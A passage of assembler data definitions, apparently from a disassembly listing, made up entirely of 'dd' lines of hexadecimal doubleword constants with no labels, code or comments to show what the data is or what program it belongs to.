		dd 95CD1704h, 3BF69BD7h, 1D7344AAh, 0B52ABF45h,	95A2602Ah
		dd 5C7D8544h, 0CBB35929h, 2C851455h, 5D721BFEh,	0C2E1A4A4h
		dd 38C94BCAh, 1E073493h, 0D2767B83h, 435FF895h,	821B2233h
		dd 0A5D8A024h, 4A57F95Dh, 0A10BD385h, 0C1DE3662h, 2EBC6672h
		dd 0B895DA31h, 1D5DC558h, 72F44BD4h, 69A6E23h, 0C2C9448Ch
		dd 35397F5Eh, 30B58F77h, 9BE59DF2h, 0A94D453Bh,	0A2BA4128h
		dd 1E65DB80h, 390F4CD4h, 5539788Fh, 3A502509h, 8006688Ch
		dd 0E7F33148h, 26C64517h, 816E2BA1h, 0A5093D89h, 8B21C2Ch
		dd 0C638E298h, 84259FFDh, 0B2EE0191h, 1E450C14h, 0ECB30A23h
		dd 5D254F16h, 68E8D0Ah,	0D6716578h, 3F898D6Dh, 230C6F51h
		dd 0F7C3E0Bh, 34FC518h,	50FF9081h, 11B43287h, 18AAC992h
		dd 1B5774D9h, 0A25F2AF5h, 0A551D7C2h, 0C6181552h, 159B5A76h
		dd 3BF56841h, 4425945Fh, 0AE1B170Bh, 53A974BDh,	379C4B3Ah
		dd 0C350F5Ch, 0B2745216h, 754EA2CBh, 9E61975Ah,	1614AF8Dh
		dd 0EDBB658Bh, 20A9FC8Eh, 1959FAEBh, 6860AA38h,	97082B07h
		dd 667AC6D1h, 6006F0D1h, 19040835h, 27EA2300h, 4457ACDh
		dd 0A41E356h, 0E864780Fh, 0AE013034h, 0B7400A22h, 294F4702h
		dd 32B2550Fh, 49D740BEh, 19A5329Ch, 32BFE25Eh, 81B301F2h
		dd 7B800E49h, 6230329Eh
		dd 600C9306h, 11593712h, 555130C6h, 0B3E50BCBh,	3F8A9F91h
		dd 2E901B3Ch, 0A941906Ah, 78421B96h, 96373905h,	1E1FA7DCh
		dd 7AB4C9DFh, 76268453h, 19C6A60h, 8B3B6BD8h, 53C66E20h
		dd 3A637AEh, 0E1F8A00Fh, 0F0652C00h, 10105626h,	424C0921h
		dd 0B8B6929Ch, 0C6C05706h, 0B94A90D0h, 0D9A7F042h, 72AA70E9h
		dd 2B7E37DEh, 7C809042h, 8DAC20ABh, 93B5BA71h, 0D68638C4h
		dd 7C8185F1h, 0B946D3F1h, 98852ADCh, 0F940F5D4h, 0E3614620h
		dd 205A74A6h, 82B19B56h, 0C6E0383h, 46930692h, 0B6804188h
		dd 0C90A23CEh, 0A447600Ah, 6205310Bh, 0BAD403C2h, 0F43A8BDCh
		dd 6F5C69CCh, 56AAF9Ah,	617F1B16h, 6AD0B1CCh, 5C8BF7EBh
		dd 25474D08h, 543FAAB2h, 58451503h, 0D0014A59h,	2EB2D616h
		dd 0C54D15A4h, 0C6539C93h, 0D1FBB029h, 510356BCh, 0D8395FDAh
		dd 20C15C0Ah, 66989892h, 1FD08988h, 0FA316FA9h,	1C15C846h
		dd 829452A8h, 0F06E672h, 0DA335F05h, 0B4FC5569h, 62157CC9h
		dd 783262FEh, 0B5C3510h, 7804C28Dh, 0EE5CF763h,	0C0E10A7Ah
		dd 15E76128h, 7A157B6Bh, 0D217DAB0h, 63208BE1h,	4153C018h
		dd 0F849FAB3h, 6B1C3C2Bh, 0D89C650Dh, 0D0D09FD5h, 0A08C5A68h
		dd 0A894B93Dh, 483940AEh, 640B0740h, 4B2E0338h,	0EC49610Ch
		dd 145C5D26h, 3DA842D8h, 0FB817833h, 9675C4D9h,	2645C3F1h
		dd 2A09F667h, 44579058h, 0B25A358Eh, 0ADD94993h, 98E0EFFAh
		dd 58ACA0Ch, 1107CEABh,	0ABB5F844h, 0B50B0EBCh,	534B1D6Bh
		dd 3A168C1Ah, 8AC3FFA0h, 0AA1C3F11h, 0FF3ED40h,	700B7C7Ch
		dd 0C28016E4h, 5050258Bh, 0AA2AEB43h, 8BAD1838h, 48E38804h
		dd 0AA820297h, 8A507A1h, 9545BE5Ah, 54798A42h, 24ECE795h
		dd 0CCE3D81Eh, 23A2CE0Ch, 56783453h, 8363CD7Eh,	5368D449h
		dd 93EB0431h, 0BFC4A39Dh, 1F959D3Ch, 0DAB20229h, 1D690451h
		dd 4240997Eh, 2796D04h,	4A754579h, 95CB72A0h, 0AB4EC5DCh
		dd 9085E420h, 6BB3ED72h, 0FDB93AFCh, 0E4E20502h, 1FCC3DEBh
		dd 1C26F91Ch, 7C18171Bh, 2FCFCF03h, 98C197C3h, 58E5994Ch
		dd 0C5A60F78h, 0BF6F37ECh, 7F6BE32h, 4C8A62Eh, 0EB53628Ah
		dd 14777381h, 0C41E640Eh, 228FAE1Eh, 0EBBB94DFh, 0EDAF3B94h
		dd 5961A8C4h, 2C1DCD6h,	1534C5E7h, 9762998Fh, 0E8DFA98Ch
		dd 7D2BCA4Ah, 5483D9F7h, 4D2C0141h, 50BA2827h, 629015E7h
		dd 607360B5h, 6FCBC078h, 0FECD3ED9h, 21392F64h,	0EFC8A984h
		dd 73AC0542h, 0C355A92Bh, 7A592FD2h, 476D05F1h,	86EE78EFh
		dd 7930D887h, 0FD131381h, 0B83A7FC1h, 9CBF037Eh, 3956F1F4h
		dd 94AFFD7Ch, 0AAD2FEE1h, 61221BE1h, 0A8D6475Dh, 91A9154Fh
		dd 0BDBA554Ah, 0B328DAD5h, 0F40AD0h, 196D50A5h,	9E615145h
		dd 43358DE9h, 4B45AE79h, 79EFAD51h, 7714C142h, 389E2006h
		dd 49C3F754h, 29EE60D3h, 0B541E494h, 0A67DA19Ah, 0A5A44EF3h
		dd 714A2A13h, 0EDC129E1h, 7CE64433h, 0BAC407C9h, 9F0FAB08h
		dd 9A3C47AAh, 7A327536h, 44515197h, 87BEE0Ch, 0BCCF5E77h
		dd 597D0378h, 37CE0AC9h, 0C231FE02h, 40B8DEBh, 17432228h
		dd 1395043Ah, 0FF5A86CDh, 0D5D10912h, 0EE38C334h, 9C87E8B0h
		dd 2292FD62h, 0F332013Bh, 8E42A304h, 52AB53A0h,	0BE81F817h
		dd 0BDC6DF54h, 21E99E2Ah, 2EAC10C0h, 453CFAE8h,	747D9F51h
		dd 92CA9C86h, 0C42F3EA2h, 0FA7D314Eh, 2F859375h, 0F011FE6Dh
		dd 0DF96C81h, 1B943444h, 1437A07Dh, 98393A76h, 0BB407841h
		dd 68EE90B1h, 414169C2h, 516B7F34h, 0CC3EA47Eh,	7E5AAD20h
		dd 5EE76A6h, 4859A055h,	7E513D1Ch, 0E3AB49D4h, 4D9D617Eh
		dd 9BBBCB32h, 43D464FAh, 0FAD28A1Fh, 3A81C6A9h,	93281B5Dh
		dd 0FA5481D1h, 9C50DDFh, 0FB6812F1h, 125CC2A1h,	7CE00D07h
		dd 617EFD49h, 7066A587h, 0F6C685C3h, 2A254353h,	88E14183h
		dd 6CF490E0h, 0A28EB5EBh, 0A01A2372h, 0FC801E5Eh, 846DE88Dh
		dd 9918A3D8h, 74A60174h, 0EA0015D8h, 417B7DB5h,	0BA8557B6h
		dd 67F8F428h, 2076EE14h, 50B6F633h, 0C260A2Eh, 9E31D2BCh
		dd 1827EBABh, 0F425A474h, 0CECF5856h, 8EB35DB5h, 1459DD3Bh
		dd 25C75C99h, 459D424Dh, 434E57A1h, 0CBD065A5h,	741DB2D4h
		dd 0CC6B83D0h, 0E2F466B9h, 12C508BFh, 15DAA651h, 0D8DAB1A8h
		dd 7B47B868h, 1D5A6E51h, 0BEB64C54h, 44F0822Bh,	0CEFC3647h
		dd 0C09E243h, 865174Fh,	0A4CD0741h, 329B296Bh, 977A7F94h
		dd 311604C6h, 160A8BAAh, 0CA19219Ah, 5C412117h,	0AFC54A38h
		dd 0B9F4D16Bh, 0E4A3904Ah, 8491C04Fh, 7B5989E4h, 0C3505789h
		dd 33A88829h, 0C3D7200h, 0E62B87D0h, 60490509h,	0CF5205FEh
		dd 314F0300h, 19371FBEh, 0B0929404h, 0C4ED133Fh, 7AA2C7D9h
		dd 6ADD96A8h, 30C6AEA8h, 1D0045E7h, 1A9ED123h, 0C29DF517h
		dd 0B156AD9Eh, 40597FB8h, 58403899h, 7182ABAh, 49F8528Ch
		dd 0CBAD746Ah, 299E5214h, 2A9F8BFCh, 7E66BBC6h,	594701C0h
		dd 9C4DCB91h, 648119h, 85ED1D20h, 1EBA317Fh, 4CCC193Ah
		dd 0A64CD834h, 3C454311h, 2C976C0Ah, 0A5A2811h,	10B74A28h
		dd 0A1784B50h, 42B1969Dh, 7AE52D36h, 0F32D758Bh, 0B42E271h
		dd 16B62A16h, 0DCB4E746h, 1FAE0C55h, 10144108h,	4C372C20h
		dd 0FBF50123h, 534CA019h, 17DC18Bh, 1F92A067h, 0A02881B9h
		dd 691AF65Bh, 8695F991h, 6307C0Dh, 0F810293h, 7E050C86h
		dd 175E0469h, 431DCFDAh, 98124718h, 0BA4293D1h,	0E37953h
		dd 7FC619BBh, 164F7FFh,	0F2E40C2Fh, 6E661AC1h, 5D260331h
		dd 635548F0h, 0B5EDA041h, 0F6332410h, 65EF46FAh, 0B32A08A5h
		dd 0EAA1BCAAh, 78095140h, 27C4FB55h, 58B93F8Bh,	452925F1h
		dd 95720CE0h, 4640BD47h, 843214FDh, 0F358B9C1h,	11CB3696h
		dd 4180F81Ch, 49E6294h,	6A2CFAC6h, 0DF606559h, 80A29589h
		dd 0D820B22h, 9EFD5F1Dh, 4B4B0355h, 31023801h, 7EA0A5A4h
		dd 8C823386h, 0C01E6831h, 0AA64A0E9h, 72B981B8h, 0DFE02062h
		dd 50E13E55h, 16A7424Bh, 0FA7B068Bh, 1A1CA4BEh,	0B5D5A46Dh
		dd 0B9C68FE4h, 87EB28C3h, 0ECAE2266h, 0FFBB8301h, 15CEEB11h
		dd 2E76F23h, 0E5723157h, 0FD8E508Ah, 3D7402E7h,	0D00DC00Eh
		dd 29187679h, 5C541BF4h, 8311A03Ch, 0BFF78512h,	61E50485h
		dd 5EFBDD3Ah, 0E8DA0EA6h, 9D7EDC63h, 2AC407D6h,	0A38DE7DAh
		dd 472D34C2h, 219459E3h, 75E675D7h, 8A232980h, 869D4E23h
		dd 0CED53A07h, 5261A239h, 0CC795568h, 7744AC10h, 141814D8h
		dd 67EC6714h, 0F66DD855h, 98B6C3D3h, 0B14D113h,	0C5B2F98Fh
		dd 69E96FF8h, 0A7E34320h, 8EFD5F83h, 2735ACFAh,	42FACA3h
		dd 8CF3959Ch, 0DF4E4565h, 0B2C01162h, 7656C01Dh, 3E904120h
		dd 0A2321AF5h, 0E68864D9h, 0D4715A93h, 0A240759h, 47588345h
		dd 7059CDA7h, 7AE17143h, 2A320814h, 4193CC5Bh, 981F01BFh
		dd 9944F141h, 0D2892EBh, 22D91285h, 35143063h, 18182383h
		dd 4C23CC88h, 0C522B20h, 291C1C45h, 0E79BA2BDh,	0F2A48634h
		dd 0D6F8D28Bh, 38AF01A4h, 4AB9BD09h, 0F256DEF4h, 2B8E90C2h
		dd 0A4057306h, 4FD9394Eh, 6D47F1D4h, 0E161BF3h,	0C396A8F3h
		dd 37482FFCh, 8E2ADD42h, 36E0732Eh, 8136F498h, 4A48B98Fh
		dd 0EEB19497h, 84DF0A5Ch, 486C3058h, 770616C4h,	0BAC3F1Dh
		dd 0DB152352h, 0E58C50Bh, 0BE8EE5A4h, 53F99D2Bh, 60F4462Eh
		dd 8966C1F8h, 82662E9Fh, 6852EA81h, 785E321Bh, 0BBE07AB9h
		dd 0C098E2Eh, 2620138Ah
		dd 43098E15h, 114557EAh, 4DD81C4Bh, 5746D832h, 70DCFAAh
		dd 86506334h, 0C31B8B2Dh, 7E97CB5Dh, 0AC748692h, 0C2BFFF61h
		dd 48B33390h, 978354B0h, 91D00059h, 0C4992990h,	519C2028h
		dd 7E80EABh, 0B3975F0Fh, 0D7B8E14h, 0BFFE6299h,	0D8980092h
		dd 105D5EC3h, 24823C8h,	99794C58h, 0DD4C7C8Fh, 0DFDBDB41h
		dd 0D4DFA4C2h, 0D8AEE53Fh, 45C85B13h, 0CAE8515h, 0CE512864h
		dd 2AE73329h, 7C6CE3Fh,	1E7DEEBh, 7F87DDCEh, 0DA15A0BCh
		dd 1468B4C2h, 4FAB7691h, 0DB2212C0h, 3616B752h,	0B20FB46Eh
		dd 1555E60Ch, 0B5515DBFh, 0DBADE196h, 0D2BAA792h, 0C3B02309h
		dd 0E989510Fh, 75D11F9Ah, 0EF0ED1Ah, 21C2B9C1h,	0EF427D60h
		dd 9519266Ch, 0A6DEF28h, 1877FF33h, 650ABF40h, 759217CFh
		dd 0E68D2DC7h, 2231663Bh, 5D7C0C34h, 532E47A5h,	3107ACA2h
		dd 139C92AEh, 25692314h, 42AA1498h, 1026FA60h, 0E89E0983h
		dd 9C284308h, 62D563B2h, 3524970Ch, 7D9E7AABh, 717FACDCh
		dd 4664D9A2h, 0E20ABE41h, 3F2880FAh, 7930038Fh,	150C287h
		dd 0B180423Bh, 71B35DBh, 82B2B78h, 4BDDA51Ch, 989305A8h
		dd 0EA91887Dh, 5A10C8F0h, 3522A691h, 3C162AD0h,	26ADD017h
		dd 0E796F7BFh, 344A6A1Ah, 6A982C05h, 0BB4AA69Dh, 820256C1h
		dd 4869D336h, 0D2043CF7h, 404ACB6Fh, 5E11A398h,	3A863095h
		dd 3CB64C43h, 6C5B258Ch, 94E7D1C0h, 0FF94BF05h,	9BECF49Dh
		dd 4B677AD9h, 0A4EA201h, 0E6734290h, 0D2131A68h, 95198E45h
		dd 31166670h, 3971D16Eh, 0AEAC0225h, 93304799h,	6649895Eh
		dd 0EEE152B8h, 0EB6C974Bh, 22FFAB80h, 0C8BAE903h, 0E0334D88h
		dd 49535D29h, 0FE96702Fh, 6DF7E079h, 0E2715018h, 0E31C5526h
		dd 99630FC6h, 49F0ED59h, 7CCE9877h, 7BD781F0h, 38218728h
		dd 650E4B79h, 6DA34BECh, 8626C6AAh, 1351F8BFh, 0D5D2AA0Bh
		dd 0D2BA24FDh, 3668D9C9h, 370A5598h, 9A30255Ch,	0BB6CAFD6h
		dd 3F1FC86Fh, 0AE0E5F98h, 0A1467CA7h, 7D0CC4F4h, 0E1116368h
		dd 0F965CC0Fh, 0E90510C6h, 2D2880E2h, 51B2634Ah, 0CD4A6321h
		dd 0C7A7AB78h, 0F363F31Ah, 6D17597Ch, 9BD0D5E4h, 0CE8AB85Ah
		dd 0D43C7470h, 0E6C51D91h, 1F6950F1h, 0AC632A83h, 22928B2Bh
		dd 1A68F8C7h, 31F49469h, 8CD5B172h, 781F90A4h, 6BFFB83Eh
		dd 2808AE5Bh, 0F6369E2Dh, 32CCF99h, 0BD66169Fh,	1B7C118Ch
		dd 18C33093h, 2A7A8FF4h, 603EC92Ah, 3D0AF0ACh, 7C687DE0h
		dd 0E5E47F7Ch, 0BEDCCE91h, 975922A2h, 0D3624229h, 8FC3343h
		dd 0C284E339h, 0F43C048Eh, 0F204CAE4h, 9F180F9h, 9805C657h
		dd 4FF5B81Dh, 1D631619h, 426114DDh, 0A0D2782Dh,	0E18FE565h
		dd 0CD5F8F3Bh, 942EEAC7h, 8F0363C7h, 9CE49A32h,	0AD462130h
		dd 44160494h, 0C5061B0Dh, 66F18D42h, 1A9BE3B0h,	2D4E01B7h
		dd 170F1AFCh, 322E4CA2h, 0A2E8A860h, 0E3680453h, 0DFDB35B9h
		dd 0E848F28Dh, 15A2C809h, 68F02077h, 1556EC16h,	2C42A871h
		dd 64C60866h, 41DBCB8Dh, 8BE349A0h, 0FD4133h, 338EF944h
		dd 71107912h, 0D8C48AC3h, 0F4C5C427h, 22D96A8Bh, 8E7F4317h
		dd 6B25CEA8h, 47C17C0Bh, 0DF3ED20Dh, 0F2B9D8Bh,	9AAD202Bh
		dd 0C44D7709h, 0AAEDAA06h, 498AB7F8h, 0C0885398h, 435787FCh
		dd 60BBA5C1h, 11FA0FD2h, 3FBF7AA6h, 0D0938EB0h,	5FBDE2B0h
		dd 3BB5F5F0h, 0A9E7412h, 6055F4B8h, 1FC5F671h, 0DBB6F159h
		dd 0F5E5711Fh, 0E37D15CAh, 1AB5753Eh, 1A0B5109h, 0BFE7A88Fh
		dd 1E2C55B0h, 6884FF58h, 6FDC5A4Dh, 0ABC60909h,	7BED09D9h
		dd 226E10A8h, 94067E28h, 0E566F64Eh, 60342909h,	9DC0ED38h
		dd 559B3BEEh, 6306F8CCh, 657C9779h, 79313045h, 4CD18746h
		dd 7A8C7055h, 0AA95A22Ch, 221443ECh, 2AD3D968h,	47433536h
		dd 0EF91154Ch, 8227134Fh, 42419249h, 0CEC7EB44h, 0C78B011Bh
		dd 697AAA82h, 0AFA36DAAh, 7A24E676h, 69FCD426h,	905B74Ah
		dd 0C56E1FF5h, 89FFA95Fh, 0E1CB2CC2h, 0ABE89B3Fh, 755186AAh
		dd 0BE06FAA5h, 0BA454C1Ch, 7A3E5EDCh, 2D685977h, 0C8529C6Ah
		dd 0A280FE2Bh, 78DB2BC8h, 4475159h, 7E6FC7F0h, 5D9ED036h
		dd 453860B0h, 2E3B3FD1h, 8A00613h, 363FE778h, 45814EE2h
		dd 0FA8E41F0h, 0B67E6405h, 6E58C789h, 639798C7h, 0C9985459h
		dd 7E2B68C3h, 0B6B4EE4Dh, 26E480B8h, 0DC8E1277h, 0D69EBA5Fh
		dd 0FE620C15h, 4926E3DFh, 2410A810h, 0C570A78h,	0C5FA7547h
		dd 0ACD70880h, 180930A8h, 107658A3h, 203A0866h,	46156008h
		dd 170E71CFh, 8FB9216Bh, 0AF5CFFD3h, 64FAE21h, 5BB44D50h
		dd 59890441h, 1B2D2121h, 48C8BF41h, 0D62F1D7Bh,	6AFFE3A6h
		dd 7F0CC699h, 5E555627h, 59DB4BE2h, 0DB2A7C8Fh,	9E4D9668h
		dd 0E9A30CF5h, 97351A4h, 0B3462BFDh, 1CA93C54h,	8A879ED8h
		dd 0C971E363h, 876DEB40h, 0AA81B154h, 8AEC8880h, 2B24C33Dh
		dd 0EC0D1B36h, 0A0B1EFAEh, 0AC8B8FC8h, 0A4A9343Ch, 9CF56641h
		dd 8991ACAEh, 2E07717h,	188A0249h, 5BE2743Fh, 4FD02FF9h
		dd 552B163Ah, 0F7E87098h, 2BB87385h, 0FC56A20h,	44888DA6h
		dd 290BFE63h, 195E2AC2h, 6A3C59F7h, 74BB21DFh, 0F05C1291h
		dd 146662A9h, 0E94E07E6h, 0C59FDD33h, 7CA41E0h,	9A6E1108h
		dd 0FCAD07FEh, 1A89707Bh, 8405E167h, 31540E82h,	50AE3817h
		dd 34F9C352h, 5F7FA185h, 0A98114C0h, 6157D010h,	34992649h
		dd 89145922h, 66061232h, 85354502h, 7D119926h, 868DDE53h
		dd 0F0560BADh, 0F4065063h, 0F0816F85h, 0F463716Fh, 72BCA57Dh
		dd 9D9C0DD8h, 0C3F1D02Dh, 0AC05881Bh, 1B440148h, 4A119003h
		dd 0C5498332h, 3FC5C004h, 0E4924F5Dh, 2A85C0A2h, 0C04EA388h
		dd 0E25A29F4h, 0F5DB47D2h, 0C3CA1104h, 9164D8F7h, 8525830Fh
		dd 59E8569Dh, 0B899AA09h, 2172FA29h, 0B3A1EE6h,	4F8D538Bh
		dd 0E39C9F7Ah, 39D0AA25h, 46A260CBh, 0E0A3FF3Dh, 0D7A6BDFDh
		dd 8CE09C54h, 0B7608154h, 72E3241Fh, 0CD23A63h,	0DC66CEFFh
		dd 0BBA71100h, 83F99CC1h, 4698F52Ah, 0C06A019Eh, 7486A335h
		dd 0F47A661Bh, 9AB76220h, 0EF810E26h, 9DF25F58h, 7C6D8348h
		dd 7C622E71h, 601A05CDh, 733EDC26h, 42C5B8D0h, 0F014B38Ch
		dd 0F3D0ADBFh, 36CE759Eh, 249E508Fh, 9C055CF3h,	1B252A36h
		dd 7DD7345Ch, 1FA4462Eh, 0C9549D2Ah, 0FB2E199Ch, 4721050Fh
		dd 8AA6A6E4h, 5320A189h, 5C959CC4h, 0E8A9D05Fh,	0CDA09423h
		dd 83046580h, 1E0D5E41h, 0AD98C9AAh, 40C8FBEh, 93E180BFh
		dd 87E170Eh, 0FA2C391Dh, 3F1908D2h, 5D5E454h, 11026ACAh
		dd 6320A1C2h, 0C5F1F596h, 890C62F2h, 1C49E56Ch,	66C1F723h
		dd 0E8A78544h, 83931760h, 2CCFE280h, 63D67883h,	6C7FD64Ah
		dd 21F8787Fh, 0E263D6C8h, 8753825Fh, 4A06EB72h,	989ED4C2h
		dd 37A00373h, 0F65B2E79h, 0DF62EC3Ah, 0C2D4950Fh, 0C06240F9h
		dd 0D50586AEh, 0EB04DEBBh, 1F809142h, 5F9D81FEh, 0C6A5A216h
		dd 8924F63Eh, 518224A3h, 38A80B11h, 1AAADF21h, 22CB82Ah
		dd 0C07234C4h, 0CAC20EEAh, 0F7EC498Fh, 0DC2AE225h, 369E6658h
		dd 9585506h, 0B443540Eh, 3D45F833h, 0DAB2EB6h, 0A59C5C18h
		dd 618A52E7h, 3A66B2CBh, 0ACD1E819h, 965430EBh,	6FB0F614h
		dd 0E4ECB4CAh, 76E4C362h, 0EC50A431h, 0EB2F143Bh, 0C27C9418h
		dd 6818AF93h, 0FACD19EEh, 0E4AC777Ah, 9CE83950h, 0DA0D836h
		dd 21D62A24h, 0B7847762h, 0E634CAB9h, 0C0520547h, 70BEE5B2h
		dd 1C95D060h, 3DB024A5h
		dd 760B0093h, 707FAED9h, 9739B16Ah, 9102D3B2h, 83CA0E36h
		dd 3BC715B8h, 22114217h, 8EB06850h, 60ADAE6h, 8732CEA7h
		dd 30F9026h, 9AD503CFh,	9F66C343h, 2715A44Ah, 0E19EAC9Dh
		dd 28B08BEFh, 0FA1D35Eh, 26FCD22Dh, 438CE440h, 6857A525h
		dd 0D17A1392h, 2C0BAE52h, 0DFE441D8h, 820E3460h, 768D7981h
		dd 22462274h, 31AC168Dh, 1A10198Fh, 28318A0Dh, 0D8EB6443h
		dd 7098E462h, 50BA3130h, 4C0B661Eh, 6A821A1Bh, 8F011399h
		dd 1C6ED795h, 1245648h,	8B6B9DA6h, 0A1F8331Fh, 0BEC22E45h
		dd 0ADCE72ACh, 0B62B21B6h, 611D8AF5h, 0A9350D46h, 0EE656B37h
		dd 2F8A5A2Ch, 793D2E58h, 35D5B193h, 0C3CE7166h,	822FA70Ah
		dd 1255D66Fh, 6CC62B99h, 2A169FEDh, 0BCBDD34Dh,	0A9C3A8D1h
		dd 46C5170Ah, 589AD026h, 65053B72h, 0FA229806h,	0A9699DC4h
		dd 6FB12F44h, 0E72090CEh, 5F394BA3h, 24BF1681h,	62B92033h
		dd 4797F0F1h, 0FD0153C5h, 5CD00A1Ah, 0A2EAC1EEh, 2D5F6306h
		dd 0E0EDA079h, 3CF616A5h, 43C117C0h, 0F42C4Fh, 6412915Fh
		dd 0F042E180h, 82E8583h, 47F51635h, 0E252A3Fh, 0E461F1F0h
		dd 2C91319h, 182A4048h,	0C9D959C8h, 525F8EE2h, 52690FC6h
		dd 4F24BF84h, 9BA42800h, 2A0A358Fh, 0D1F9D431h,	90A44985h
		dd 0A014E022h, 90D249A2h, 4F845E2Eh, 4096B580h,	0A0D2248h
		dd 58982089h, 8704C337h, 3655E96h, 1DB1DC11h, 0B18F68E3h
		dd 4518E433h, 6536A3F8h, 77DB9439h, 0BA42F0CAh,	8EE08304h
		dd 68D50D6Fh, 0F73FFD36h, 44984ED5h, 0E00F0366h, 1E8DE28Fh
		dd 0DDE0C67Fh, 0C9E0482Eh, 73BA60C9h, 0AC657AEEh, 11396C50h
		dd 0B9498B2Ah, 77CA6604h, 40F4C502h, 0EE8FBB48h, 0BA7ACBA4h
		dd 48004541h, 660BE138h, 1B2BE958h, 7212C31Dh, 0F2B1D75Ch
		dd 0E4A421FAh, 0E131481Bh, 22EA1A63h, 4E029A88h, 3E644D93h
		dd 317C92A1h, 0AB2C4481h, 0EE69606Fh, 5939F602h, 0ECA78E3Ah
		dd 3FB0287Ah, 556FFA9Bh, 8C94A240h, 0C443612Eh,	12484B79h
		dd 552C1409h, 0C67D17D9h, 5468BA07h, 89C09279h,	40FA674h
		dd 0CDF5689h, 9FC6EE31h, 929EC03h, 5F56D286h, 0AA60833Bh
		dd 0C168DDD0h, 8335289Ch, 0E0F60BE5h, 0D81105C4h, 15978C04h
		dd 342B3D70h, 0F92854FDh, 858D3E6Fh, 0AE650B2Ah, 21180759h
		dd 0C141D05Ah, 0CFD28A2Ah, 3F88F900h, 0FF201FB4h, 149A7F50h
		dd 8E9FA1A6h, 0B493F527h, 0BA3B272Ch, 74FB8CC3h, 2743A453h
		dd 0D12610E3h, 0DA273A85h, 87E178CAh, 3D38E632h, 0DDF6F71h
		dd 2ACA69Ch, 1A746D5h, 6940CACBh, 4B073413h, 0AAF839BDh
		dd 0A5D5EA82h, 106E34D4h, 0A5282C98h, 9879713h,	8EB7A041h
		dd 0F640E17Ah, 847B9B29h, 0BB073BDCh, 7B050683h, 0A89C6D3h
		dd 0C7AABBEh, 2E1E5818h, 0A58C09F7h, 0A380CF83h, 0AE268161h
		dd 0C05A9122h, 0AB044B35h, 0E608F7C1h, 0DC654F04h, 58299079h
		dd 40C20956h, 40979865h, 3983F5E6h, 0E444F85Ch,	6579646Ah
		dd 0C0DEE35h, 5FD05CBBh, 2453CDA0h, 0C07531FCh,	916AEC0h
		dd 0F2931E84h, 732E19A5h, 0E5264DEFh, 200393F2h, 13FD0019h
		dd 0BC258271h, 0C369D2DFh, 6CD0E790h, 3D5FF00Fh, 132212FAh
		dd 0C4E3FD67h, 2301C722h, 0DAADDEBCh, 1545B0A0h, 3F6E6876h
		dd 924BB2Dh, 45DECFA0h,	0EC98DEE6h, 61EAEA30h, 0C3211E0Ch
		dd 84E9BEFCh, 3974F877h, 1629F259h, 0B173BA09h,	0C7314D4h
		dd 4B98C534h, 0E4B82997h, 854B0958h, 796A804Dh,	8ED178C2h
		dd 2452F081h, 0BAC41ED8h, 5A862004h, 0C537483Ah, 2CC94898h
		dd 3AFBF05Ah, 7F854B85h, 13599979h, 0BAC24556h,	0E90B99C6h
		dd 45F8D998h, 3BD02F49h, 0E60C31BCh, 90117A7Fh,	512A4FD3h
		dd 0D4BDA124h, 0FEB6A255h, 3D2A168Fh, 72526204h, 8DF85008h
		dd 0E93EBA81h, 36D40470h, 5668713h, 0EA8F38EDh,	3A1DB989h
		dd 24956270h, 0C43AD42Bh, 92FCBC60h, 67A0A366h,	791C2FE5h
		dd 5C5320CFh, 0BD5B925Dh, 0D2D5EDFEh, 0B46975AFh, 91858230h
		dd 0A210605Eh, 416FCD4Eh, 0E9AC4BF5h, 0B54DACEBh, 3F64172Ah
		dd 0E41784ACh, 24E908EEh, 0AB92C0C7h, 8A18CD87h, 7AE743E0h
		dd 7463E4CCh, 597E2ADh,	0AF7B8FCh, 6E257007h, 0E61FC1Fh
		dd 94812F5h, 390509BFh,	635BEDCh, 743ED7DAh, 0A40F3610h
		dd 0BB313A5Bh, 82BA2E87h, 0EB27143Ah, 997AD0E6h, 0BC5D789Ch
		dd 0A192ADD3h, 91F95AB9h, 39554F9Dh, 2585FA2Dh,	6BED39C9h
		dd 7C1223B1h, 0D4EFC330h, 0F71D903Eh, 27099772h, 8403E001h
		dd 7E2B6890h, 0D74862B3h, 0AA2EF2CAh, 0FC6153A0h, 0CE0F8451h
		dd 40541E9h, 7D15F705h,	6519E6DEh, 0AF0A9404h, 74FC03BCh
		dd 0C2E01581h, 388F0290h, 85DC48EDh, 3630C0DDh,	5E7B0314h
		dd 0AE8CC404h, 3BEB1C01h, 96BE0FF3h, 0E5FADF64h, 0B24E4C30h
		dd 0CA0FB983h, 42706100h, 1314F1D4h, 7CF13EFBh,	1119EFA7h
		dd 0A9C03F60h, 25D6EBCFh, 0A3160A0Bh, 0AF5D13C7h, 90045C8Eh
		dd 0C0A27A7Bh, 0B914D043h, 893E53A7h, 0D14C5308h, 0BA7B9EE4h
		dd 30482A24h, 0EE3D8D45h, 224391E9h, 244814C3h,	0A4BFA7B9h
		dd 0CCF3A58h, 759CF763h, 2E6505BAh, 0B54448E8h,	6CC6E31Ch
		dd 31D50D31h, 4465D89Ah, 0B4272191h, 0BF3E1572h, 12F12EB6h
		dd 0AFB18745h, 0F341E2E6h, 0A93B1832h, 0C92077CEh, 10BA0A88h
		dd 6F49BBC2h, 10D84B96h, 205121D9h, 70714CF9h, 49F30FCAh
		dd 4487F95h, 97AF3851h,	0B0770D18h, 0B8BA615h, 0D487602Ch
		dd 5B88AFD5h, 0CC3A554h, 0FB1CE8B9h, 1F30BCCh, 161D029Dh
		dd 5C9EBAC6h, 0E28E1ADFh, 0D59C4F43h, 31D7F0DAh, 0BAFA69C8h
		dd 4A3D6132h, 0FB11AD50h, 0B8C45D7Eh, 3E465761h, 8412CF4Ch
		dd 0A030572Dh, 0CBCFABEBh, 0E9036262h, 0B540497Bh, 76EFF92Fh
		dd 7BA6AA1h, 0D55A98E5h, 53CF52AAh, 2F9F83C9h, 0E090C717h
		dd 0E23D3A71h, 7FC43FACh, 0DD3175DEh, 2E2FDD6Ah, 0C16131D0h
		dd 0B5D51FE3h, 0E9F00EE0h, 0A9829783h, 979C2A07h, 0D53C580Bh
		dd 54D47BC8h, 2C22E156h, 77E8A8Ah, 3271AC39h, 0CD744AA2h
		dd 8E50E021h, 4C4C84AEh, 0ECC00B10h, 34224D4Ah,	6F664F99h
		dd 70CD0134h, 7D736993h, 1D541813h, 43F2CFFCh, 90DCB488h
		dd 7B0DB098h, 0A62D331Eh, 0C7C9A8CCh, 0D4A61307h, 18F52A6Ah
		dd 21958384h, 0DB5D14B6h, 2174E309h, 0D0E9978Ah, 0E03F992Eh
		dd 8B0975D4h, 0DE7C7203h, 9C6AE424h, 0F4F64A60h, 525B17FDh
